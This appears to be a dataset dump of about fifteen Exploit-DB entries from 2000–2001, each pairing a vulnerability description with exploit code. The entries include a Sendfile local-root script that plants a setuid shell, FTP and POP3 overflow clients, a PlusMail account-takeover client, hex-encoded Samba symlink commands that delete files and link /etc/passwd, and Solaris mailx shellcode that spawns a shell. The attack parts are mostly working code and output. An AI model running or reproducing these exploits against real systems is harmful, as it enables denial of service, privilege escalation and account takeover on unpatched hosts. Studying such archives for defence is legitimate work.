QLWD/code_shield huggingface dataset:
标题: Mercury/NLM 1.4 - Buffer Overflow EDB-ID: 20792 CVE: 2001-0442 类型: DOS 平台: MULTIPLE 发布日期: 2001-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/2641/info

Mercury MTA is a mail-transfer agent available for Novell NetWare and Windows NT. Novell versions of the Mercury POP3 server prior to 1.48 are vulnerable to a buffer overflow caused by inadequate string handling for the APOP authentication command.

Because the overflow occurs in an authentication command parser, unauthenticated remote users can trigger the overflow. It is unknown whether the overflow can lead to arbitrary code execution, but proof-of-concept code is available that will crash the NetWare server, requiring a reboot. 

perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc mercury_host 110 URL: https://www.exploit-db.com/exploits/20792
标题: RobTex Viking Server 1.0.7 - Relative Path Webroot Escaping EDB-ID: 20793 CVE: 2001-0467 类型: REMOTE 平台: WINDOWS 发布日期: 2001-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2643/info

The Viking Server is a freely available software package maintained and distributed by Robtex. The Viking Server provides multiple protocol service on Windows 95, 98, and NT systems.

A problem in the software package could make it possible for remote users to gain access to sensitive system files. Due to the improper handling of relative paths by the HTTP serving portion of the Viking Server, a user requesting a relative path such as "\...\" can gain access to the root directory, breaking out of the webroot.

This problem makes it possible for remote user to gain access to sensitive system files, and potentially local access. 

http://vulnerable.system/\...\ URL: https://www.exploit-db.com/exploits/20793
标题: Sendfile 1.x/2.1 - Local Privileged Arbitrary Command Execution EDB-ID: 20795 CVE: 2001-0623 类型: LOCAL 平台: LINUX 发布日期: 2001-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/2645/info

Sendfile is an implementation of the SAFT (simple asynchronous file transfer) protocol for UNIX systems.

Due to a problem dropping privileges completely before running user-specified post-processing commands in the Sendfile daemon, it may be possible for a local user to execute arbitrary commands with elevated privileges. 

#!/bin/sh
#
# sfdfwd - Sendfile daemon local arbitrary command execution vulnerability 
#
# references:
#   https://www.securityfocus.com/bid/2645
#   http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=76048
#
# 04/24/01 psheep

SFUSER=$USER
SFHOST=localhost
SFPORT=saft
SFSPOOL=/var/spool/sendfile
SFUSERCFG="$SFSPOOL/$SFUSER/config/config"

echo "Sendfile daemon local arbitrary command execution exploit"
echo
echo "  username        = $SFUSER"
echo "  spool directory = $SFSPOOL"
echo "  config file     = $SFUSERCFG"
echo "  target hostname = $SFHOST"
echo "  target port     = $SFPORT"
echo

if ! test -d $SFSPOOL; then
  echo "** unable to locate the sendfile spool directory, exiting"
  exit 1
fi

sfsavedcfg="no"

if ! test -d $SFSPOOL/$SFUSER || ! test -d $SFSPOOL/$SFUSER/config; then
  echo "** attempting to create sendfile spool directory for $SFUSER"
  echo
  (sleep 1;echo "TO $SFUSER";sleep 2) | telnet $SFHOST $SFPORT
  echo
else
  if test -f $SFUSERCFG; then
    echo "** backing up your sendfile daemon configuration file"
    mv $SFUSERCFG $SFSPOOL/$SFUSER/config/config.tmp
    sfsavedcfg="yes"
  fi
fi

cat > sfdfwd.c << EOF
#include <unistd.h>
#include <stdlib.h>

int main() {
    setreuid(0,0);
    setgid(0);
    system("chown root.root $PWD/sfdsh;chmod 4755 $PWD/sfdsh");
}
EOF

cat > sfdsh.c << EOF
#include <unistd.h>

int main() {
    setreuid(0,0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
}
EOF

echo "** compiling helper application as $PWD/sfdfwd"
cc -o $PWD/sfdfwd $PWD/sfdfwd.c

if ! test -x $PWD/sfdfwd; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** compiling shell wrapper as $PWD/sfdsh"
cc -o $PWD/sfdsh $PWD/sfdsh.c

if ! test -x $PWD/sfdsh; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** inserting commands into temporary configuration file"
echo "forward = |$PWD/sfdfwd" >$SFUSERCFG

echo "** attempting attack against sendfile daemon..."
echo

(sleep 1;cat << EOF
FROM $USER
TO $USER
FILE boom$RANDOM
SIZE 0 0
DATA
QUIT
EOF
sleep 2) | telnet $SFHOST $SFPORT
echo

if test "x$sfsavedcfg" = xyes; then
  echo "** restoring backed up configuration file"
  mv $SFSPOOL/$SFUSER/config/config.tmp $SFUSERCFG
else
  echo "** removing temporary configuration file"
  rm $SFUSERCFG
fi

echo "** done, the shell wrapper should be suid root"
echo
exit 1 URL: https://www.exploit-db.com/exploits/20795
标题: WFTPD 3.0 - 'RETR' / 'CWD' Remote Buffer Overflow EDB-ID: 20794 CVE: 2001-0296 类型: REMOTE 平台: WINDOWS 发布日期: 2001-04-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2644/info

Invalid long strings submitted using either 'RETR' or 'CWD' commands to a host running WFTPD server, will result in the service terminating due to a buffer overflow. It may be possible for an attacker to execute arbitrary code through this vulnerability.

A restart of the server is required in order to gain normal functionality.

This vulnerability has been reported to exist on systems running Windows NT 4.0 with either SP3, SP4, or SP6 installed.

The problem exists due to the interaction between WFTPD.EXE and the Windows function call 'NTDLL.DLL:RtlFreeHeap()'. 

/* WFTPD Pro 3.00 R4 Buffer Overflow exploit
   written by Len Budney
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

#define BUFSIZE 32774
#define CMD "RETR "  /* Alt: use "CWD " and set OFFSET to 4. */
#define OFFSET 5
void main(){
        int sockfd, s;
 struct sockaddr_in victim;
        char buffer[BUFSIZE];
        char exploitbuffer[BUFSIZE]={CMD};
        char recvbuffer[BUFSIZE];

        sockfd=socket(AF_INET,SOCK_STREAM,0); if(sockfd == -1)perror("socket");
        victim.sin_family=AF_INET;
        victim.sin_addr.s_addr=inet_addr("192.168.197.129");
        victim.sin_port=htons(21);
        s=connect(sockfd, (struct sockaddr*) &victim, sizeof(victim));
        if(s == -1) perror("connect");

        recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
        memset(recvbuffer, '\0',sizeof(recvbuffer));
        send(sockfd, "USER anonymous\r\n",strlen ("USER anonymous\r\n"),0);
        recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
        memset(recvbuffer, '\0',sizeof(recvbuffer));
        send(sockfd, "PASS\r\n",strlen ("PASS\r\n"),0);
        recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
        memset(recvbuffer, '\0',sizeof(recvbuffer));

        memset(exploitbuffer+OFFSET,0x90,sizeof (exploitbuffer)-OFFSET-2);
        sprintf(buffer,"%s\r\n",exploitbuffer);
        send(sockfd, buffer , sizeof(buffer),0);
        recv(sockfd, recvbuffer, sizeof (recvbuffer),0);

        close(sockfd);
 _exit(0);
} URL: https://www.exploit-db.com/exploits/20794
标题: PowerScripts PlusMail WebConsole 1.0 - Weak Authentication (1) EDB-ID: 20799 CVE: 2000-0074 类型: REMOTE 平台: CGI 发布日期: 2000-01-11 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2653/info

PowerScripts PlusMail Web Control Panel is a web-based administration suite for maintaining mailing lists, mail aliases, and web sites. It is reportedly possible to change the administrative username and password without knowing the current one, by passing the proper arguments to the plusmail script. After this has been accomplished, the web console allows a range of potentially destructive activities including changing of e-mail aliases, mailing lists, web site editing, and various other privileged tasks. This can be accomplished by submitting the argument "new_login" with the value "reset password" to the plusmail script (typically /cgi-bin/plusmail). Other arguments the script expects are "username", "password" and "password1", where username equals the new login name, password and password1 contain matching passwords to set the new password to.

The specific affected versions have not been determined, and the developer cannot be located. 

/*
 * [Synnergy Networks http://www.synnergy.net]
 * 
 * Title: plusbug.c - [remote plusmail exploit]
 * Author: headflux (hf@synnergy.net)
 * Date: 01.10.2000
 * Description: plusmail fails to check authenticity before creating new
 *  accounts
 *
 * [Synnergy Networks (c) 2000, http://www.synnergy.net]
 */

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main(int argc, char *argv[])
{
    char *expcgi = "GET /cgi-bin/plusmail?login=pluz&password=pluz&"
                   "password1=pluz&new_login=Login HTTP/1.0\n\n";

    struct hostent *hp;
    struct in_addr addr;
    struct sockaddr_in s;
    u_char buf[280];
    int p, i;
 
    if (argc < 1)
    {
        printf("usage: %s hostname\n", argv[0]);
        exit(1);
    } 

    hp = gethostbyname(argv[1]);
    if(!hp)
    {
        printf("bad hostname.\n");
        exit(1);
    }

    bcopy (hp->h_addr, &addr, sizeof (struct in_addr));
    p = socket (s.sin_family = 2, 1, IPPROTO_TCP);
    s.sin_port = htons(80);
    s.sin_addr.s_addr = inet_addr (inet_ntoa (addr));

    if(connect (p, &s, sizeof (s))!=0)
    {
        printf("error: unable to connect.\n");
   return;
    }
    else
    {
        send(p, expcgi, strlen(expcgi), 0);
        alarm(5);
        read(p, buf, 255);
        close(p);
    }

    if (strstr(buf, "200 OK") && ! strstr(buf, "Invalid"))
        printf("account pluz/pluz created.\n");
    else
        printf("exploit failed.\n");

    return(0);
}
/*                    www.hack.co.za           [21 July]*/ URL: https://www.exploit-db.com/exploits/20799
标题: Rit Research Labs 'The Bat!' 1.x - Missing Linefeeds Denial of Service EDB-ID: 20783 CVE: 2001-0675 类型: DOS 平台: WINDOWS 发布日期: 2001-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2636/info

"The Bat!" is an MUA for Windows by Rit Research Labs.

"The Bat!" is vulnerable to a remote denial of service attack. Email messages in which carriage return (CR) characters are not followed by a linefeed (LF) can cause "The Bat!" to incorrectly interpret the message's structure. This can lead "The Bat!" to read text in the message body as a response from the POP3 server. The current (corrupt) message will not be deleted from the server, and the mail download process will stop.

As a result, the user will remain unable to receive new email messages from the affected POP3 account. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20783.zip URL: https://www.exploit-db.com/exploits/20783
标题: Microsoft Internet Explorer 5.0/5.5 / OE 5.5 - XML Stylesheets Active Scripting EDB-ID: 20782 CVE: 2001-1325 类型: REMOTE 平台: WINDOWS 发布日期: 2001-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/2633/info

A vulnerability exists in the handling of XML stylesheets in Internet Explorer and Outlook Express. If active scripting is disabled in all security zones, IE and OE will still allow script to run if it is contained in the stylesheet of an XML page. 

From: "georgi" 
Subject: xstyle
Date: 
MIME-Version: 1.0
Content-Type: multipart/alternative;
 boundary="----=_NextPart_000"
X-Priority: 3
X-MSMail-Priority: Normal



This is a multi-part message in MIME format.

------=_NextPart_000
Content-Type: text/html;
 charset="iso-8859-1"


test
<H1>
XStyle demo. Written by Georgi Guninski
</H1>

<SCRIPT>
alert("JS should not be working");
</SCRIPT>



<IFRAME SRC="http://www.guninski.com/xstyle.xml"></IFRAME>
------=_NextPart_000-- URL: https://www.exploit-db.com/exploits/20782
标题: SuSE 7.0 - KFM Insecure '.TMP' File Creation EDB-ID: 20781 CVE: 2001-0610 类型: LOCAL 平台: LINUX 发布日期: 2001-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2629/info

KFM is the KDE File Manager, included with version 1 of the KDE base package in most Linux installations. KFM is designed as a graphical, easily navigated interface to the Linux Filesystem.

A problem with KFM could allow the overwriting of files owned by the KFM user. KFM insecurely creates a directory to store it's cache contents. Prior to creation, the existance of this directory, which is predictable in name, is not checked. Additionally, permissions are also not checked. Files beneath the directory can be created as symbolic links, making it possible to overwrite linked files.

This vulnerability makes it possible for a local user to overwrite and corrupt files owned by the KFM user. 

root@ps:/tmp/kfm-cache-500 > ls -la
drwxrwxrwx 2 rws uboot 4096 Apr 18 21:18 .
drwxrwxrwt 15 root root 770048 Apr 18 21:16 ..
lrwxrwxrwx 1 rws uboot 18 Apr 18 21:18 index.html ->
/home/paul/.bashrc
-rw-r--r-- 1 rws uboot 0 Apr 18 21:16 index.txt

root@ps:/tmp/kfm-cache-500 > ls -la /home/paul/.bashrc
-rw-r--r-- 1 paul users 1458 Jan 23 13:56
/home/paul/.bashrc


and after running kfm as user 500:

root@ps:/tmp/kfm-cache-500 > ls -la /home/paul/.bashrc
-rw-r--r-- 1 paul users 271 Apr 18 21:19
/home/paul/.bashrc URL: https://www.exploit-db.com/exploits/20781
标题: ISC INN 2.x - Command-Line Buffer Overflow (2) EDB-ID: 20778 CVE: 2001-1442 类型: LOCAL 平台: LINUX 发布日期: 2001-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2620/info
 
The innfeed utility, part of ISC InterNetNews, has an exploitable buffer overflow in its command-line parser. Specifically, innfeed will overflow if an overly long -c option is passed to it.
 
A local attacker in the news group could use this overflow to execute arbitary code with an effective userid of news, which could constitute an elevation in privileges, and the ability to alter news-owned binaries that could be run by root.
 
Exploits are available against x86 Linux builds of innfeed. 

#!/bin/ksh
L=-2000
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 1`
./x-startinnfeed $L
done URL: https://www.exploit-db.com/exploits/20778
标题: Netscape SmartDownload 1.3 - Remote Buffer Overflow EDB-ID: 20775 CVE: 2001-0262 类型: REMOTE 平台: WINDOWS 发布日期: 2001-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2615/info

Netscape SmartDownload, a download manager add-on for popular web browsers, is vulnerable to a buffer overflow. The library 'sdph20.dll' used by SmartDownload contains an URL parser function that will overflow when a user visits or is redirected to an URL longer than 271 characters.

This overflow, if successfully exploited, allows execution of arbitrary code by an attacker with the privilege level of the currently logged-in user. Under Windows 95/98/Me, this means administrative privileges.

Hosts with SmartDownload installed are vulnerable regardless of whether SmartDownload is enabled. Exploit code is available for this vulnerability. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20775.tar.gz URL: https://www.exploit-db.com/exploits/20775
标题: Microsoft Internet Explorer 5.5 - CLSID File Execution EDB-ID: 20774 CVE: 2001-0643 类型: REMOTE 平台: WINDOWS 发布日期: 2001-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/2612/info

The default operation performed to open a filetype is determining by referencing the filetype's CLSID. Due to a flaw in the interpretation of CLSIDs when appended to a filename, it is possible to specify a different default action for a given file than would normally be used. As a result, seemingly harmless files (.txt, .jpg etc) may be opened in a nonstandard, attacker specified manner. For example, a program ("evil.exe") could be renamed "evil.jpg.{CLSID_of_executables}" and when opened by the target user, this file will be executed instead of opened by their default .jpg viewer. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20774.zip URL: https://www.exploit-db.com/exploits/20774
标题: Samba 2.0.x - Insecure TMP File Symbolic Link EDB-ID: 20776 CVE: 2001-0406 类型: LOCAL 平台: LINUX 发布日期: 2001-04-17 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2617/info

Samba is a flexible file sharing packaged maintained by the Samba development group. It provides interoperatability between UNIX and Microsoft Windows systems, permitting the sharing of files and printing services.

A problem in the package could make it possible to deny service to legitimate users. Due to the insecure creation of files in the /tmp file system, it is possible for a user to create a symbolic link to other files owned by privileged users in the system, such as system device files, and write data to the files.

This vulnerability makes it possible for a local user to deny service to other users of the system, and potentially gain elevated privileges. 

/*
 * Samba Server r00t exploit
 *
 * Scope: Local (this exploit) and posible remote if conditions are given.
 * Vuln:
 *      RedHat 5.1
 *      RedHat 5.2
 *      RedHat 6.0
 *      RedHat 6.1
 *      RedHat 6.2
 *      RedHat 7.0
 *      RedHat 7.1
 *      I don't know if other versions are vulnerable too.
 *
 * Run this exploit and then take a look at your passwd file.
 * Run: ./samba-exp user
 *
 * Author:      Gabriel Maggiotti
 * Email:       gmaggiot@ciudad.com.ar
 * Webpage:     http://qb0x.net
 */


#include <stdio.h>
#include <string.h>

int main(int argc,char *argv[])
{
char inject1[]=
        "\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f"
        "\x74\x6d\x70\x2f\x78\x2e\x6c\x6f\x67";
char inject2[]=
        "\x2f\x62\x69\x6e\x2f\x6c\x6e\x20\x2d\x73\x20\x2f\x65"
        "\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x2f\x74\x6d"
        "\x70\x2f\x78\x2e\x6c\x6f\x67";
char inject3a[100]=
        "\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x6d\x62\x63"
        "\x6c\x69\x65\x6e\x74\x20\x2f\x2f\x6c\x6f\x63\x61\x6c"
        "\x68\x6f\x73\x74\x2f\x22\xa\xa";
char inject3b[]=
        "\x3a\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
        "\x2f\x73\x68\x5c\x6e\x22\x20\x2d\x6e\x20\x2e\x2e\x2f"
        "\x2e\x2e\x2f\x2e\x2e\x2f\x74\x6d\x70\x2f\x78\x20\x2d"
        "\x4e\xa";

if(argc!=2){
        fprintf(stderr,"usage: %s <user>\n",*argv);
        return 1;
        }
strcat(inject3a,argv[1]);
strcat(inject3a,inject3b);
system(inject1, 0);
system(inject2, 0);
system(inject3a, 0);

return 0;
} URL: https://www.exploit-db.com/exploits/20776
标题: Solaris 2.5/2.6/7.0/8 - 'mailx -F' Local Buffer Overflow (2) EDB-ID: 20773 CVE: 2001-0565 类型: LOCAL 平台: SOLARIS 发布日期: 2001-04-15 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2610/info
 
Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.
 
A problem with the handling of a long string of characters by the -F option makes it possible for a local user to gain elevated privileges. Due to the insufficient handling of input by the -F option of mailx, a buffer overflow at 1150 characters makes it possible to overwrite variables on the stack, including the return address.
 
This problem makes it possible for a local user gain elevated privileges, attaining an effective GID of mail. 

#include <fcntl.h>

/*

   /usr/bin/mailx overflow proof of conecpt.


   Pablo Sor, Buenos Aires, Argentina 05/2001
   psor@afip.gov.ar, psor@ccc.uba.ar

   works against Solaris 8 (SPARC)

   default offset should work.

   $ id
   uid=100(laika) gid=1(other)

   $ ./mailx-exp
   Subject: tomy
   .
   EOT

   [wait..]

   $ id
   uid=100(laika) gid=1(other) egid=6(mail)


*/


int main(int ac, char **av)
{

char shell[]=

  "\x90\x10\x20\x06\x82\x10\x20\x88\x91\xd0\x20\x08"  /* setegid(6) */
  "\x90\x10\x20\x06\x82\x10\x20\x2e\x91\xd0\x20\x08"  /* setgid(6) */

  /* LSD-pl.net guys shellcode */

  "\x90\x08\x3f\xff"     /* and     %g0,-1,%o0           */
  "\x82\x10\x20\x17"     /* mov     0x17,%g1             */
  "\x91\xd0\x20\x08"     /* ta      8                    */
  "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4> */
  "\x20\xbf\xff\xff"     /* bn,a    <shellcode> */
  "\x7f\xff\xff\xff"     /* call    <shellcode+4> */
  "\x90\x03\xe0\x20"     /* add     %o7,32,%o0           */
  "\x92\x02\x20\x10"     /* add     %o0,16,%o1           */
  "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]          */
  "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]         */
  "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]         */
  "\x82\x10\x20\x0b"     /* mov     0xb,%g1              */
  "\x91\xd0\x20\x08"     /* ta      8                    */
  "/bin/ksh";


 u_long get_sp(void)
 {
   __asm__("mov %sp,%i0 \n");
 }

 unsigned long magic = get_sp() + 1444  ;  /* default offset */
 unsigned char buf[1220];
 char *envi;
 int cont;

 envi = (char *)malloc(1000*sizeof(char));
 for (cont=3;cont<990;cont=cont+4)
  { envi[cont]= 0xa6;envi[cont+1]=0x1c;envi[cont+2]=0xc0;envi[cont+3]=0x13; }
 for (cont=803;cont<803+strlen(shell);++cont) envi[cont]=shell[cont-803];
 memcpy(envi,"SO=",3);

 envi[999]=0;
 putenv(envi);
 memset(buf,0x41,1220);
 memcpy(buf+1120+24,&magic,4);  /* fake %fp */
 memcpy(buf+1120+28,&magic,4);  /* fake %i7 */
 buf[1220]=0;

 execl("/usr/bin/mailx","mailx","-F",buf,NULL);
} URL: https://www.exploit-db.com/exploits/20773
标题: Siemens Reliant UNIX 5.4 - ppd -T Race Condition EDB-ID: 20769 CVE: 2001-0384 类型: LOCAL 平台: UNIX 发布日期: 2001-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/2606/info

Reliant Unix is a variant of the UNIX Operating System distributed by Fujitsu-Siemens. Reliant Unix is a scalable UNIX Operating system designed for use on Siemens servers.

A problem in the operating system could make it possible for a user to deny service to legitimate users. Due to the improper checking of file creation rights by the ppd software package included with the operating system, it is possible for a user to create a symbolic link in /tmp with the name ppd.trace, and overwrite any file on the system.

This vulnerability makes it possible for a local user to overwrite sensitive system files, potentially denying service to legitimate users, and possibly gaining elevated privileges. 

ln -s /etc/passwd /tmp/ppd.trace

/opt/bin/ppd -T

cat /etc/passwd
[..] URL: https://www.exploit-db.com/exploits/20769
标题: Solaris 2.6 - FTP Core Dump Shadow Password Recovery EDB-ID: 20764 CVE: 2001-0421 类型: REMOTE 平台: SOLARIS 发布日期: 2001-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/2601/info

Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.

A problem in the ftp server included with the Solaris Operating System could allow a local user to recover parts of the shadow file, containing encrypted passwords. Due to a previously known problem involving a buffer overflow in glob(), it is possible to cause a buffer overflow in the Solaris ftp server, which will dump parts of the shadow file to core. This can be done with the CWD ~ command, using a non-standard ftp client.

Therefore, a local user could cause a buffer overflow in the ftp server, and upon reading the core file, recover passwords for other local users, potentially gaining elevated privileges.

[root@ /usr/sbin]> telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 sun26 FTP server (SunOS 5.6) ready.
user warning3
331 Password required for warning3. <-- a valid username
pass blahblah <--- a wrong password
530 Login incorrect.
CWD ~
530 Please login with USER and PASS.
Connection closed by foreign host.
[root@ /usr/sbin]> ls -l /core
-rw-r--r-- 1 root root 284304 Apr 16 10:20 /core
[root@ /usr/sbin]> strings /core|more
[...snip...]
lp:NP:6445::::::
P:64
eH::::
uucp:NP:6445::: URL: https://www.exploit-db.com/exploits/20764